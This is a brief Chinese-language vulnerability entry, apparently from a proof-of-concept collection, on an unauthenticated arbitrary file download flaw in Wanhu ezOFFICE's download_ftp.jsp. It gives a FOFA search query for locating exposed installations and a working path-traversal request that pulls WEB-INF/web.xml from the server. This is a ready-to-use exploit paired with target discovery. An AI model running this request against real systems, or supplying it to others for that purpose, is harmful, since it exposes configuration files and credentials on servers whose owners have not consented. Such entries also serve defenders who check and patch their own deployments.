万户-ezOFFICE-download_ftp.jsp任意文件下载漏洞

万户-ezOFFICE-download_ftp.jsp任意文件下载漏洞

万户OA-ezOFFICE download_ftp.jsp 接口存在任意文件读取漏洞，未经身份认证的攻击者可利用此漏洞获取服务器内部敏感文件，使系统处于极不安全的状态。

fofa

app="万户网络-ezOFFICE"

poc

/defaultroot/download_ftp.jsp?path=/../WEB-INF/&name=aaa&FileName=web.xml